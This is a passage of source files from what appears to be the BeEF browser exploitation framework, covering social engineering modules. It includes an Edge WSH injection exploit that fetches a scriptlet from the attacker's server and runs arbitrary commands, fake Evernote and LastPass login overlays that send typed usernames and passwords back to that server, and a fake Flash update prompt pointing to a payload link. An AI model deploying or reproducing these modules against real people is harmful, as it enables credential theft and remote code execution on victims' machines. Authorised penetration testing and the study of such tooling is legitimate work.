    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function(){\n  var timeout = 5;\n\n  if (!beef.browser.isEdge()) {\n    beef.debug(\"[Edge WScript WSH Injection] Browser is not supported.\");\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser is not supported', beef.are.status_error());\n    return;\n  }\n\n  try {\n    var wsh_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();\n    var beef_host = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port;\n    wsh_iframe_<%= @command_id %>.setAttribute('src', 'wshfile:test/../../../../../../../Windows/System32/Printing_Admin_Scripts/' + navigator.language + '/pubprn.vbs\" 127.0.0.1 script:' + beef_host + '/<%= @command_id %>/index.html');\n  } catch (e) {\n    beef.debug(\"[Edge WScript WSH Injection] Could not create iframe\");\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Could not create iframe', beef.are.status_error());\n    return;\n  }\n\n  // clean up\n  cleanup = function() {\n    document.body.removeChild(wsh_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n});\n"
  },
  {
    "path": "modules/social_engineering/edge_wscript_wsh_injection/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n  module:\n    edge_wscript_wsh_injection:\n      enable: true\n      category: [\"Social Engineering\"]\n      name: \"Edge WScript WSH Injection\"\n      description: \"Prompts the user to run \\\"Microsoft Windows Based Script Host\\\" (WScript.exe).<br/><br/>Uses <a href='https://leucosite.com/Microsoft-Edge-RCE/'>wshfile protocol handler</a> technique to load pubprn.vbs and <a href='https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'>WSH injection in pubprn.vbs</a> to execute arbitrary code.<br/><br/>If the user allows execution, a VBS payload is downloaded from BeEF, and the specified commands are executed.\"\n      authors: [\n        \"@qab\",       # wshfile protocol handler + traversal technique, and exploit\n        \"@enigma0x3\", # pubprn.vbs technique and exploit\n        \"bcoles\"      # BeEF\n      ]\n      target:\n        user_notify: [\"E\"]\n        not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/social_engineering/edge_wscript_wsh_injection/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Edge_wscript_wsh_injection < BeEF::Core::Command\n  def pre_send\n    payload = ''\n    @datastore.each do |input|\n      payload = input['value'] if input['name'] == 'payload'\n    end\n\n    rand_str = rand(32**10).to_s(32)\n\n    script = <<~EOF\n      <?XML version=\"1.0\"?>#{'                                                                                           '}\n        <scriptlet>\n\n        <registration\n          description=\"#{rand_str}\"\n          progid=\"#{rand_str}\"\n          version=\"1.00\"\n          classid=\"{AAAA1111-0000-0000-0000-0000FEEDACDC}\"\n          remotable=\"true\"\n        >\n        </registration>\n\n        <script language=\"JScript\">\n        <![CDATA[\n          var r = new ActiveXObject(\"WScript.Shell\").Run(\"#{payload.gsub('\"', '\\\\\"')}\");\n        ]]>\n        </script>\n\n        </scriptlet>\n    EOF\n\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200',\n                                                                       {\n                                                                         'Content-Type' => 'text/html'\n                                                                       },\n                                                                       script,\n                                                                       \"/#{@command_id}/index.html\",\n                                                                       -1)\n  end\n\n  def self.options\n    [\n      { 'name' => 'payload', 'ui_label' => 'Commands', 'value' => 'calc.exe' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(\"/#{@command_id}/index.html\")\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/fake_evernote_clipper/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// Prepare the onmessage event handling\n\tvar eventMethod = window.addEventListener ? \"addEventListener\" : \"attachEvent\";\n\tvar eventer = window[eventMethod];\n\tvar messageEvent = eventMethod == \"attachEvent\" ? \"onmessage\" : \"message\";\n\teventer(messageEvent,function(e) {\n\t\tif (e.data == \"KILLFRAME\") {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Killing Frame');\t\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'meta=KILLFRAME');\t\n\t\t\tbeef.dom.removeElement('EVIFRAME');\n\t\t\treturn;\n\t\t} else {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=' + e.data);\t\n\t\t}\n\t},false);\t\n\n\tif (beef.browser.isC()) {\n\t\tbeef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/ev/login.html','id':'EVIFRAME'}, {'width':'317px','height':'336px','position':'fixed','right':'0px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'0px','overflow':'hidden'}); \n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages');\t\n\t} else {\n\t\tbeef.debug('[Fake Evernote Clipper] Unspported browser');\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error());\n\t}\n\n});\n"
  },
  {
    "path": "modules/social_engineering/fake_evernote_clipper/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        fake_evernote_clipper:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Fake Evernote Web Clipper Login\"\n            description: \"Displays a fake Evernote Web Clipper login dialog.\"\n            authors: [\"xntrik\"]\n            target:\n                user_notify: ['C']\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/social_engineering/fake_evernote_clipper/login.css",
    "content": "body {\n  font-size: 11px;\n  font-style: normal;\n  overflow: hidden;\n  -webkit-font-smoothing: antialiased;\n  -webkit-user-select: none;\n}\n\n* {\n  background-repeat: no-repeat;\n  color: inherit;\n  font: inherit;\n  text-shadow: inherit;\n  -webkit-font-smoothing: inherit;\n}\n\ntextarea {\n  resize: none;\n}\n\na {\n  text-decoration: none;\n}\n\n.tab {\n  cursor: pointer;\n  display: inline-block;\n  height: 26px;\n  vertical-align: top;\n}\n.tab.pressed {\n  background-image: url(../images/clip_result_arrow.png);\n  background-size: 16px 8px;\n}\n\n.pinch {\n  background-color: #2F373D;\n  border-top: 1px solid #272D33;\n  border-bottom: 1px solid #272D33;\n  margin-top: -1px;\n}\n\ninput[type=radio], input[type=checkbox] {\n  display: none;\n}\nlabel {\n  cursor: pointer;\n  display: inline-block;\n  vertical-align: top;\n}\ninput[type=radio] + label:before {\n  background-image: url(../images/radio.png);\n  background-repeat: no-repeat;\n  background-size: 16px 16px;\n  content: \"\";\n  display: inline-block;\n  height: 16px;\n  width: 16px;\n}\ninput[type=radio]:checked + label:before {\n  background-image: url(../images/radio-dot.png), url(../images/radio.png);\n  background-position: 5px, 0;\n  background-size: 6px 7px, 16px 16px;\n}\ninput[type=radio] + label {\n  height: 16px;\n  line-height: 16px;\n}\n\ninput[type=checkbox] + label:before {\n  background-color: #737F89;\n  border: 1px solid #232A31;\n  border-radius: 4px;\n  content: \"\";\n  display: inline-block;\n  height: 20px;\n  width: 20px;\n}\ninput[type=checkbox]:checked + label:before {\n  background-image: url(../images/checkmark-big.png);\n  background-position: 50% 5px;\n  background-repeat: no-repeat;\n  background-size: 14px 12px;\n}\ninput[type=checkbox] + label {\n  height: 22px;\n  line-height: 22px;\n}\n\nselect {\n  background-color: white;\n  background-image: url(../images/icon_down_padded.png);\n  background-position: -webkit-calc(100% - 10px) 50%;\n  background-size: 8px 5px;\n  border: 1px solid #232A30;\n  border-radius: 3px;\n  color: #3A4045;\n  font-family: \"GothamMedium\", Helvetica, Arial, sans-serif;\n  font-size: 11px;\n  line-height: 24px;\n  margin: 0;\n  outline: none;\n  padding: 0 28px 0 10px;\n  text-shadow: none;\n  -webkit-appearance: button;\n}\n\n@font-face {\n  font-family: \"CaeciliaBold\";\n  src: url(../fonts/caecilialtstd-bold-webfont.woff) format('woff');\n}\n@font-face {\n  font-family: \"CaeciliaRoman\";\n  src: url(../fonts/caecilialtstd-roman-webfont.woff) format('woff');\n}\n@font-face {\n  font-family: \"GothamBook\";\n  src: url(../fonts/GothamSSm-Book.otf) format('opentype');\n}\n@font-face {\n  font-family: \"GothamMedium\";\n  src: url(GothamSSm-Medium.otf) format('opentype');\n}\n@font-face {\n  font-family: \"GothamBold\";\n  src: url(GothamSSm-Bold.otf) format('opentype');\n}\n\n@media (-webkit-min-device-pixel-ratio: 1.5) {\n  .tab.pressed {\n    background-image: url(../images/clip_result_arrow@2x.png);\n  }\n  input[type=radio] + label:before {\n    background-image: url(../images/radio@2x.png);\n  }\n  input[type=radio]:checked + label:before {\n    background-image: url(../images/radio-dot@2x.png), url(../images/radio@2x.png);\n  }\n  input[type=checkbox]:checked + label:before {\n    background-image: url(../images/checkmark-big@2x.png);\n  }\n  select {\n    background-image: url(../images/icon_down_padded@2x.png);\n  }\n}\n\na {\n  text-decoration: none;\n}\n\nbody {\n  border: 1px solid #21262C;\n  border-radius: 5px;\n  margin: 2px;\n}\n\n#main {\n  background-color: #2F373D;\n  border-radius: 4px;\n  padding: 22px 28px;\n}\n\n#logo {\n  background-image: url(clipboard.png), url(evernote_web_clipper.png);\n  background-position: -10px -10px, 48px 1px;\n  background-size: 58px 58px, 134px 36px;\n  cursor: pointer;\n  height: 58px;\n}\n#logo.china {\n  background-image: url(clipboard.png), url(../../images/evernote_web_clipper_china.png);\n  background-position: -10px -10px, 43px 1px;\n  background-size: 58px 58px, 48px 47px;\n}\n\n#close {\n  background-image: url(close_login.png);\n  background-size: 8px 8px;\n  cursor: pointer;\n  height: 8px;\n  outline: none;\n  position: absolute;\n  right: 6px;\n  top: 6px;\n  width: 8px;\n}\n\n.inputContainer {\n  position: relative;\n}\ninput {\n  background-color: #EAF0F5;\n  border: 1px solid #21262C;\n  border-radius: 3px;\n  color: #3A4045;\n  font-family: \"GothamMedium\", Helvetica, Arial, sans-serif;\n  font-size: 12px;\n  height: 36px;\n  margin-bottom: 16px;\n  max-width: 236px;\n  outline: none;\n  padding: 10px;\n  text-shadow: none;\n  width: 236px;\n}\ninput::-webkit-input-placeholder {\n  color: #8E98A1;\n}\ninput+.errorHoverRegion {\n  height: 16px;\n  pointer-events: none;\n  position: absolute;\n  right: 11px;\n  top: 10px;\n  width: 16px;\n}\ninput.error {\n  background-image: url(../../images/auth_error.png);\n  background-position: -webkit-calc(100% - 12px) 50%;\n  background-size: 16px 16px;\n}\ninput.error+.errorHoverRegion {\n  pointer-events: all;\n}\ninput.error+.errorHoverRegion:hover:before {\n  background-color: #ED4C5B;\n  border: 1px solid white;\n  border-radius: 3px;\n  bottom: 19px;\n  box-shadow: 0 2px 6px 0 rgba(0, 0, 0, 0.3);\n  content: attr(data-error);\n  color: white;\n  font-family: \"GothamMedium\", Helvetica, Arial, sans-serif;\n  font-size: 11px;\n  line-height: 20px;\n  padding: 0 5px;\n  position: absolute;\n  right: -5px;\n  text-shadow: none;\n  white-space: nowrap;\n}\ninput.error+.errorHoverRegion:hover:after {\n  background-image: url(../../images/auth_error_arrow.png);\n  background-position: 0 0;\n  background-size: 14px 7px;\n  content: \"\";\n  height: 7px;\n  position: absolute;\n  right: 1px;\n  top: -4px;\n  width: 14px;\n}\ninput.valid {\n  background-image: url(../../images/checkmark_green.png);\n  background-position: -webkit-calc(100% - 12px) 50%;\n  background-size: 15px 13px;\n}\n\n.button {\n  border-radius: 3px;\n  color: white;\n  cursor: pointer;\n  height: 36px;\n  line-height: 36px;\n  margin-bottom: 18px;\n  overflow: hidden;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, 0.5);\n}\n\n@media (-webkit-min-device-pixel-ratio: 1.5) {\n  #logo {\n    background-image: url(../../images/clipboard@2x.png), url(../../images/evernote_web_clipper@2x.png);\n  }\n  #logo.china {\n    background-image: url(../../images/clipboard@2x.png), url(../../images/evernote_web_clipper_china@2x.png);\n  }\n  #close {\n    background-image: url(../../images/close_login@2x.png);\n  }\n  input.error {\n    background-image: url(../../images/auth_error@2x.png);\n  }\n  input.error+.errorHoverRegion:hover:after {\n    background-image: url(../../images/auth_error_arrow@2x.png);\n  }\n  input.valid {\n    background-image: url(../../images/checkmark_green@2x.png);\n  }\n}\n\n#switcher {\n  color: #C2CFD7;\n  cursor: pointer;\n  display: none;\n  font-family: \"GothamMedium\", Helvetica, Arial, sans-serif;\n  font-size: 12px;\n  height: 15px;\n  line-height: 15px;\n  margin-bottom: 14px;\n  outline: none;\n  position: relative;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, 0.5);\n}\n#switcher.visible {\n  display: inline-block;\n}\n#switcher:after {\n  background-image: url(../../images/forward.png);\n  background-size: 16px 16px;\n  content: \"\";\n  height: 16px;\n  position: absolute;\n  right: -21px;\n  top: 1px;\n  width: 16px;\n}\n\n#globalError {\n  background-color: #262C32;\n  background-image: url(error-clip.png);\n  background-position: 28px 5px;\n  background-size: 16px 16px;\n  border-bottom: 1px solid #21262C;\n  border-top: 1px solid #21262C;\n  color: white;\n  font-family: \"GothamMedium\", Helvetica, Arial, sans-serif;\n  font-size: 10px;\n  margin: 0 0 15px -28px;\n  overflow: hidden;\n  padding: 8px 28px 8px 49px;\n  width: -webkit-calc(100% - 21px);\n}\n#globalError:empty {\n  display: none;\n}\n#globalError button {\n  color: black;\n  float: right;\n  font-size: 12px;\n  padding: 3px 6px;\n}\n\ninput {\n  max-width: 251px;\n  width: 251px;\n}\n\n#username {\n  margin-bottom: 18px;\n}\n\n#simsearch .checkbox, #simsearch .label {\n  display: inline-block;\n  vertical-align: top;\n}\n#simsearch .checkbox {\n  background-color: #737F89;\n  border: 1px solid #21262C;\n  border-radius: 3px;\n  cursor: pointer;\n  height: 16px;\n  outline: none;\n  width: 16px;\n}\n#simsearch .checkbox.checked {\n  background-image: url(../../images/checkmark.png);\n  background-position: 2px 4px;\n  background-size: 12px 10px;\n}\n#simsearch .label {\n  color: #C2CFD7;\n  font-family: \"GothamMedium\", Helvetica, Arial, sans-serif;\n  font-size: 12px;\n  line-height: 16px;\n  padding-bottom: 26px;\n  padding-left: 3px;\n  padding-top: 1px;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, 0.5);\n  width: -webkit-calc(100% - 25px);\n}\n#simsearch .label .help {\n  background-image: url(../../images/question-mark.png);\n  background-size: 15px 15px;\n  cursor: pointer;\n  display: inline-block;\n  height: 15px;\n  margin-left: 5px;\n  position: relative;\n  vertical-align: middle;\n  width: 15px;\n}\n#simsearch .label .help:hover:before {\n  background-color: #FAFAFA;\n  border: 1px solid #21262C;\n  border-radius: 3px;\n  bottom: 24px;\n  box-shadow: 0 2px 6px 0 rgba(0, 0, 0, 0.3);\n  color: #3A4045;\n  content: attr(data-tooltip);\n  font-family: \"GothamMedium\", Helvetica, Arial, sans-serif;\n  font-size: 10px;\n  left: -81px;\n  line-height: 13px;\n  padding: 5px 7px;\n  position: absolute;\n  text-shadow: none;\n  width: 168px;\n}\n#simsearch .label .help:hover:after {\n  background-image: url(../../images/login_simsearch_tooltip_arrow.png);\n  background-repeat: no-repeat;\n  background-size: 30px 15px;\n  bottom: 10px;\n  content: \"\";\n  height: 15px;\n  left: -8px;\n  position: absolute;\n  width: 30px;\n}\n\n#login {\n  background-color: #26B064;\n  box-shadow: inset 0 1px #33CC78;\n  font-family: \"GothamBold\", Helvetica, Arial, sans-serif;\n  font-size: 16px;\n  outline: none;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, 0.5);\n}\n#reg {\n  background-color: #209BC9;\n  box-shadow: inset 0 1px #48C0ED;\n  font-family: \"GothamMedium\", Helvetica, Arial, sans-serif;\n  font-size: 13px;\n  outline: none;\n}\n#forgotPw {\n  color: #C2CFD7;\n  cursor: pointer;\n  font-family: \"GothamMedium\", Helvetica, Arial, sans-serif;\n  font-size: 11px;\n  height: 14px;\n  line-height: 14px;\n  outline: none;\n  overflow: hidden;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, 0.5);\n}\n\n@media (-webkit-min-device-pixel-ratio: 1.5) {\n  #switcher:after {\n    background-image: url(../../images/forward@2x.png);\n  }\n  #globalError {\n    background-image: url(../../images/error-clip@2x.png);\n  }\n  #simsearch .checkbox.checked {\n    background-image: url(../../images/checkmark@2x.png);\n  }\n  #simsearch .label .help {\n    background-image: url(../../images/question-mark@2x.png);\n  }\n  #simsearch .label .help:hover:after {\n    background-image: url(../../images/login_simsearch_tooltip_arrow@2x.png);\n  }\n}"
  },
  {
    "path": "modules/social_engineering/fake_evernote_clipper/login.html",
    "content": "<html>\n  <head>\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"login.css\"></link>\n  </head>\n  <body>\n    <div id=\"main\">\n      <div id=\"logo\"></div>\n      <div id=\"close\" tabindex=\"8\"></div>\n      <div id=\"switcher\" tabindex=\"7\"></div>\n      <div id=\"globalError\"></div>\n      <div class=\"inputContainer\">\n        <input id=\"username\" autofocus tabindex=\"1\" placeholder=\"Email\"/>\n        <div class=\"errorHoverRegion\"></div>\n      </div>\n      <div class=\"inputContainer\">\n        <input id=\"password\" type=\"password\" tabindex=\"2\" placeholder=\"Password\" />\n        <div class=\"errorHoverRegion\"></div>\n      </div>\n      <div id=\"login\" class=\"button\" message=\"loginForm_login\" tabindex=\"4\" value=\"Sign In\">Sign In</div>\n      <div id=\"reg\" class=\"button\" message=\"header_register\" tabindex=\"5\" value=\"Create an Evernote account\">Create an Evernote account</div>\n      <div id=\"forgotPw\" message=\"forgotPassword\" tabindex=\"6\" value=\"Forgot password?\">Forgot password?</div>\n    </div>\n\n\n    <script src=\"jquery.js\" type=\"text/javascript\"></script>\n<script>\n$(document).ready(function() {\n  $('#username').keyup(function() {\n    parent.postMessage('Username field changed to: ' + $('#username').val(),'*');\n  });\n\n  $('#password').keyup(function() {\n    parent.postMessage('Password field changed to: ' + $('#password').val(),'*');\n  });\n\n  $('#login,#reg,#forgotPw,#close').click(function() {\n    parent.postMessage('Button Clicked - username field: ' + $('#username').val() + '; password field: ' + $('#password').val(),'*');\n    parent.postMessage('KILLFRAME','*');\n  });\n\n  $('#username').focus();\n\n});\n\n</script>\n  </body>\n</html>"
  },
  {
    "path": "modules/social_engineering/fake_evernote_clipper/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Fake_evernote_clipper < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/login.html', '/ev/login', 'html')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/login.css', '/ev/login', 'css')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/clipboard.png', '/ev/clipboard', 'png')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/close_login.png', '/ev/close_login', 'png')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/error-clip.png', '/ev/error-clip', 'png')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/evernote_web_clipper.png', '/ev/evernote_web_clipper', 'png')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/GothamSSm-Medium.otf', '/ev/GothamSSm-Medium', 'otf')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/GothamSSm-Bold.otf', '/ev/GothamSSm-Bold', 'otf')\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/core/main/client/lib/jquery-1.12.4.min.js', '/ev/jquery', 'js')\n  end\n\n  #\n  # This method is being called when a zombie sends some\n  # data back to the framework.\n  #\n  def post_execute\n    if @datastore['meta'] == 'KILLFRAME'\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/login.html')\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/login.css')\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/clipboard.png')\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/close_login.png')\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/error-clip.png')\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/evernote_web_clipper.png')\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/GothamSSm-Medium.otf')\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/GothamSSm-Bold.otf')\n      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/jquery.js')\n    end\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/fake_flash_update/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  \n  // Module Configurations\n  var image = \"<%== @image %>\";\n\n  // Function to gray out the screen\n  var grayOut = function(vis, options) {\n    var options = options || {};\n    var zindex = options.zindex || 50;\n    var opacity = options.opacity || 70;\n    var opaque = (opacity / 100);\n    var bgcolor = options.bgcolor || '#000000';\n    var dark=document.getElementById('darkenScreenObject');\n    if (!dark) {\n      var tbody = document.getElementsByTagName(\"body\")[0];\n      var tnode = document.createElement('div');\n      tnode.style.position='absolute';\n      tnode.style.top='0px';\n      tnode.style.left='0px';\n      tnode.style.overflow='hidden';\n      tnode.style.display='none';\n      tnode.id='darkenScreenObject';\n      tbody.appendChild(tnode);\n      dark=document.getElementById('darkenScreenObject');\n    }\n    if (vis) {\n      var pageWidth='100%';\n      var pageHeight='100%';\n      dark.style.opacity=opaque;\n      dark.style.MozOpacity=opaque;\n      dark.style.filter='alpha(opacity='+opacity+')';\n      dark.style.zIndex=zindex;\n      dark.style.backgroundColor=bgcolor;\n      dark.style.width= pageWidth;\n      dark.style.height= pageHeight;\n      dark.style.display='block';\n    } else {\n      dark.style.display='none';\n    }\n  };\n\n  // Create DIV\n  var flashdiv = document.createElement('div');\n  flashdiv.setAttribute('id', 'flashDiv');\n  flashdiv.setAttribute('style', 'position:absolute; top:20%; left:30%; z-index:51;');\n  flashdiv.setAttribute('align', 'center');\n  document.body.appendChild(flashdiv);\n\n  // window.open is very useful when using data URI vectors and the IFrame/Object tag\n  // also, as the user is clicking on the link, the new tab opener is not blocked by the browser.\n  flashdiv.innerHTML = \"<a href=\\\"<%== @payload_uri %>\\\" target=\\\"_blank\\\" ><img src=\\\"\" + image + \"\\\" /></a>\";\n\n  // gray out the background\n  grayOut(true,{'opacity':'30'});\n\n  // clean up on click\n  $j(\"#flashDiv\").click(function () {\n    $j(this).hide();\n    document.body.removeChild(flashdiv);\n    grayOut(false,{'opacity':'0'});\n    document.body.removeChild(document.getElementById('darkenScreenObject'));\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=user has clicked');\n  });\n\n});\n"
  },
  {
    "path": "modules/social_engineering/fake_flash_update/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        fake_flash_update:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Fake Flash Update\"\n            description: \"Prompts the user to install an update to <b>Adobe Flash Player</b> from the specified URL.\"\n            authors: [\"mh\", \"antisnatchor\", \"gcattani\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/social_engineering/fake_flash_update/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Fake_flash_update < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_flash_update/img/eng.png', '/adobe/flash_update', 'png')\n  end\n\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    proto = @configuration.beef_proto\n    beef_host = @configuration.beef_host\n    beef_port = @configuration.beef_port\n    base_host = \"#{proto}://#{beef_host}:#{beef_port}\"\n\n    image = \"#{base_host}/adobe/flash_update.png\"\n\n    [\n      { 'name' => 'image', 'description' => 'Location of image for the update prompt', 'ui_label' => 'Image', 'value' => image },\n      { 'name' => 'payload_uri', 'description' => 'Payload URI', 'ui_label' => 'Payload URI', 'value' => '' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/adobe/flash_update.png')\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/fake_lastpass/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// Prepare the onmessage event handling\n\tvar eventMethod = window.addEventListener ? \"addEventListener\" : \"attachEvent\";\n\tvar eventer = window[eventMethod];\n\tvar messageEvent = eventMethod == \"attachEvent\" ? \"onmessage\" : \"message\";\n\teventer(messageEvent,function(e) {\n\t\tif (e.data == \"KILLFRAME\") {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Killing Frame');\t\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'meta=KILLFRAME');\t\n\t\t\tbeef.dom.removeElement('LPIFRAME');\n\t\t\treturn;\n\t\t} else {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=' + e.data);\t\n\t\t}\n\t},false);\t\n\n\tif (beef.browser.isC()) {\n\t\tbeef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'294px','height':'352px','position':'fixed','right':'5px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'}); \n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages');\t\n\t} else {\n\t\tbeef.debug('[Fake LastPass] Unspported browser');\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error());\n\t}\n\n\t// $j('body').append(\"<div id='lp_login_dia' style='width:375px; height:415px; position: fixed; right: 0px; top: 0px; z-index: \"+beef.dom.getHighestZindex()+1+\"; border: 1px solid white; overflow: hidden; display: none'></div>\");\n\n\t// $j('#lp_login_dia').load(beef.net.httpproto+\"://\"+beef.net.host+\":\"+beef.net.port+\"/lp/index.html\");\n\n\n\n});\n"
  },
  {
    "path": "modules/social_engineering/fake_lastpass/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        fake_lastpass:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Fake LastPass\"\n            description: \"Displays a fake LastPass user dialog.\"\n            authors: [\"xntrik\", \"gcattani\"]\n            target:\n                user_notify: ['C']\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/social_engineering/fake_lastpass/index-new.html",
    "content": "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/><meta http-equiv=\"Pragma\" CONTENT=\"no-cache\"><meta http-equiv=\"Expires\" CONTENT=\"0\"><meta http-equiv=\"CACHE-CONTROL\" CONTENT=\"no-cache\">\n\n<style type=\"text/css\">\nbody { font-family: Helvetica,Arial; min-width: 200px; min-height: 200px; }\n\n.fullpage{\n  max-width:250px;\n}\n#_docwrite_login_small7 { white-space:normal; width:258px !important; }\n#showvault { vertical-align: top; }\n\n#loginbody hr{\n  width:150%;\n  margin-left:-15%;\n  display: block; height: 1px;\n  border: 0; border-top: 1px solid #ccc;\n  margin-top: 15px; \n}\n\n#loginbody{\n  height:300px;\n  color:#4c4c4c;\n  overflow:hidden;\n}\n\n#loginbody #deleteicon, #logincontainer #deleteicon{\n  margin-top:-2px;\n}\n/*\n#loginbody .teardrop{\n  margin-right:30px;\n}\n*/\n\n#rememberemailrow, #rememberpasswordrow{\n  padding:3px 0px;\n}\n.logininput { width:228px; height: 27px;\n  padding-right: 40px;\n  padding-left: 5px;\n }\n.inputdiv input{ margin-top:2px; }\n\n#loginheader img{\n  float:right;\n  padding:5px 5px 0 0;\n  